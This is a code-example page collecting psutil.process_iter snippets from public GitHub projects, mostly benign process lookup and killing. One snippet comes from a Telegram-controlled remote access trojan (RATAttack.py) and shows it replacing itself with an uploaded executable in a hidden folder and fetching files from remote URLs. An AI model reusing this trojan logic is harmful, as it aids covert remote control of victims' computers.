How to use the psutil.process_iter function in psutil

To help you get started, we’ve selected a few psutil examples, based on popular ways it is used in public projects.

Secure your code as it's written. Use Snyk Code to scan source code in minutes - no build needed - and fix issues immediately.

github denoland / chromium_build / android / pylib / utils / test_environment.py View on Github external
def _KillWebServers():
  for s in [signal.SIGTERM, signal.SIGINT, signal.SIGQUIT, signal.SIGKILL]:
    signalled = []
    for server in ['lighttpd', 'webpagereplay']:
      for p in psutil.process_iter():
        try:
          if not server in ' '.join(p.cmdline):
            continue
          logging.info('Killing %s %s %s', s, server, p.pid)
          p.send_signal(s)
          signalled.append(p)
        except Exception: # pylint: disable=broad-except
          logging.exception('Failed killing %s %s', server, p.pid)
    for p in signalled:
      try:
        p.wait(1)
      except Exception: # pylint: disable=broad-except
        logging.exception('Failed waiting for %s to die.', p.pid)
github NativeScript / nativescript-cli-tests / core / osutils / process.py View on Github external
    @staticmethod
    def is_running(proc_name):
        """Check if process is running"""
        result = False
        for proc in psutil.process_iter():
            if proc_name in str(proc):
                result = True
                break
        return result
github mvrozanti / RAT-via-Telegram / RATAttack.py View on Github external
import winsound
                                        winsound.Beep(440, 300)
                                        if command == '':
                                                response = '/to ,  /msg_box Hello HOME-PC and WORK-PC'
                                        else:
                                                targets = command[:command.index('/')]
                                                if platform.uname()[1] in targets:
                                                        command = command.replace(targets, '')
                                                        msg = {'text' : command, 'chat' : { 'id' : chat_id }}
                                                        handle(msg)
                                elif command == '/update':
                                        proc_name = app_name + '.exe'
                                        if not os.path.exists(hide_folder + '\\updated.exe'):
                                                response = 'Send updated.exe first.'
                                        else:
                                                for proc in psutil.process_iter():
                                                        # check whether the process name matches
                                                        if proc.name() == proc_name:
                                                                proc.kill()
                                                os.rename(hide_folder + '\\' + proc_name, hide_folder + '\\' + proc_name + '.bak')
                                                os.rename(hide_folder + '\\updated.exe', hide_folder + '\\' + proc_name)
                                                os.system(hide_folder + '\\' + proc_name)
                                                sys.exit()
                                elif command.startswith('/wallpaper'):
                                        command = command.replace('/wallpaper', '')
                                        command = command.strip()
                                        if len(command) == 0:
                                                response = 'Usage: /wallpaper C:/Users/User/Desktop/porn.jpg'
                                        elif command.startswith('http'):
                                                image = command.rsplit('/',1)[1]
                                                image = hide_folder + '/' + image
                                                urllib.urlretrieve(command, image)
github OpenVZ / vcmmd / vcmmd / util / libvirt.py View on Github external
def lookup_qemu_machine_pid(name):
    '''Given the name of a QEMU machine, lookup its PID.
    '''
    pids = []
    for proc in psutil.process_iter():
        # Workaround for old psutil(1.2.1)
        if isinstance(proc.cmdline, list):
            cmd = proc.cmdline
        else:
            try:
                cmd = proc.cmdline()
            except psutil.NoSuchProcess:
                raise OSError("No such process: '{}'".format(name))

        if not cmd or not cmd[0].endswith('qemu-kvm'):
            continue
        name_idx = cmd.index('-name') + 1

        # Workaround PSBM-54553
        # libvirt 1.3 cmd: "-name guest_name,debug-threads=on"
        # libvirt 2.4 cmd: "-name guest=guest_name,debug-threads=on"
github scouter-project / scouter / scouter.host / scouter / host / top.py View on Github external
def poll():
    # sleep some time
    procs = []
    procs_status = {}
    for p in psutil.process_iter():
        try:
            p.dict = p.as_dict(['username', 'nice', 'memory_info',
                                'memory_percent', 'cpu_percent',
                                'cpu_times', 'name', 'status'])
            try:
                procs_status[p.dict['status']] += 1
            except KeyError:
                procs_status[p.dict['status']] = 1
        except psutil.NoSuchProcess:
            pass
        else:
            procs.append(p)

    # return processes sorted by CPU percent usage
    processes = sorted(procs, key=lambda p: p.dict['cpu_percent'], reverse=True)
    return (processes, procs_status)
github Comm4nd0 / raspberrypi_AI-NO-GUI / computer.py View on Github external
def endProg(command):
    success()
    if "stop" or "talking" in command:
        for proc in psutil.process_iter():
            if proc.name() == PROCNAME:
                proc.kill()
                print("VLC ENDED!")
    return
github schenc3 / InteractiveROSETTA / InteractiveROSETTA / scripts / daemon.py View on Github external
try:
                    doCustom(jobtype)
                    print "Daemon completed " + jobtype + " job"
                except Exception as e:
                    print "The daemon crashed while performing the " + jobtype + " job!"
                    writeError(e.message)
                os.remove(inputfile)
        time.sleep(1)
        # See if the main GUI is still running and have the daemon terminate if the main GUI was closed
        # Since this is a separate process, the user can exit out of the main GUI but this daemon
        # will still be running until they close the Python window, which they may forget to do
        # So the daemon should check to see if the main GUI is still running and if not it should
        # exit this loop
        stillrunning = False
        count = 0
        for proc in psutil.process_iter():
            try:
                if (platform.system() == "Windows"):
                    if (len(proc.cmdline()) >= 2 and proc.cmdline()[0].find("python") >= 0 and proc.cmdline()[1].find("InteractiveROSETTA.py") >= 0):
                        stillrunning = True
                        break
                else:
                    # On Unix systems you just have to make sure two instances of python are running
                    # because there isn't any forking information in the daemon's instance of python
                    if (len(proc.cmdline()) >= 2 and proc.cmdline()[0].find("python") >= 0 and proc.cmdline()[1].find("InteractiveROSETTA") >= 0):
                        count = count + 1
            except:
                # In Windows it will crash if you try to read process information for the Administrator
                # Doesn't matter though since InteractiveROSETTA is run by a non-Administrator
                # But we need to catch these errors since we don't know which processes are admin ones
                pass
        if (platform.system() != "Windows" and count == 2):
github pantsbuild / pants / src / python / pants / pantsd / process_manager.py View on Github external
def iter_processes(self, proc_filter=None):
    """Yields processes from psutil.process_iter with an optional filter and swallows psutil errors.

    If a psutil exception is raised during execution of the filter, that process will not be
    yielded but subsequent processes will. On the other hand, if psutil.process_iter raises
    an exception, no more processes will be yielded.
    """
    with swallow_psutil_exceptions():  # process_iter may raise
      for proc in psutil.process_iter():
        with swallow_psutil_exceptions():  # proc_filter may raise
          if (proc_filter is None) or proc_filter(proc):
            yield proc
github guildai / guildai / guild / commands / shutdown_timer_impl.py View on Github external
def _guild_ops():
    return [
        p.pid for p in psutil.process_iter(attrs=["cmdline"])
        if "guild.op_main" in p.info["cmdline"]]
github apache / trafficcontrol / experimental / ort-python / traffic_ops_ort / services.py View on Github external
def getProcessesIfRunning(name:str) -> typing.Optional[psutil.Process]:
	"""
	Retrieves a process by name, if it exists.

	.. warning:: Process names don't have to be unique, this will return the process with the
		lowest PID that matches ``name``. This can also only return processes visible to the
		user running the Python interpreter.

	:param name: the name for which to search
	:returns: a process if one is found that matches ``name``, else :const:`None`
	:raises OSError: if the process table cannot be iterated
	"""
	logging.debug("Iterating process list - looking for %s", name)
	for process in psutil.process_iter():

		# Found
		if process.name() == name:
			logging.debug("Running process found (pid: %d)", process.pid)
			return process

	logging.debug("No process named '%s' was found", name)

	return None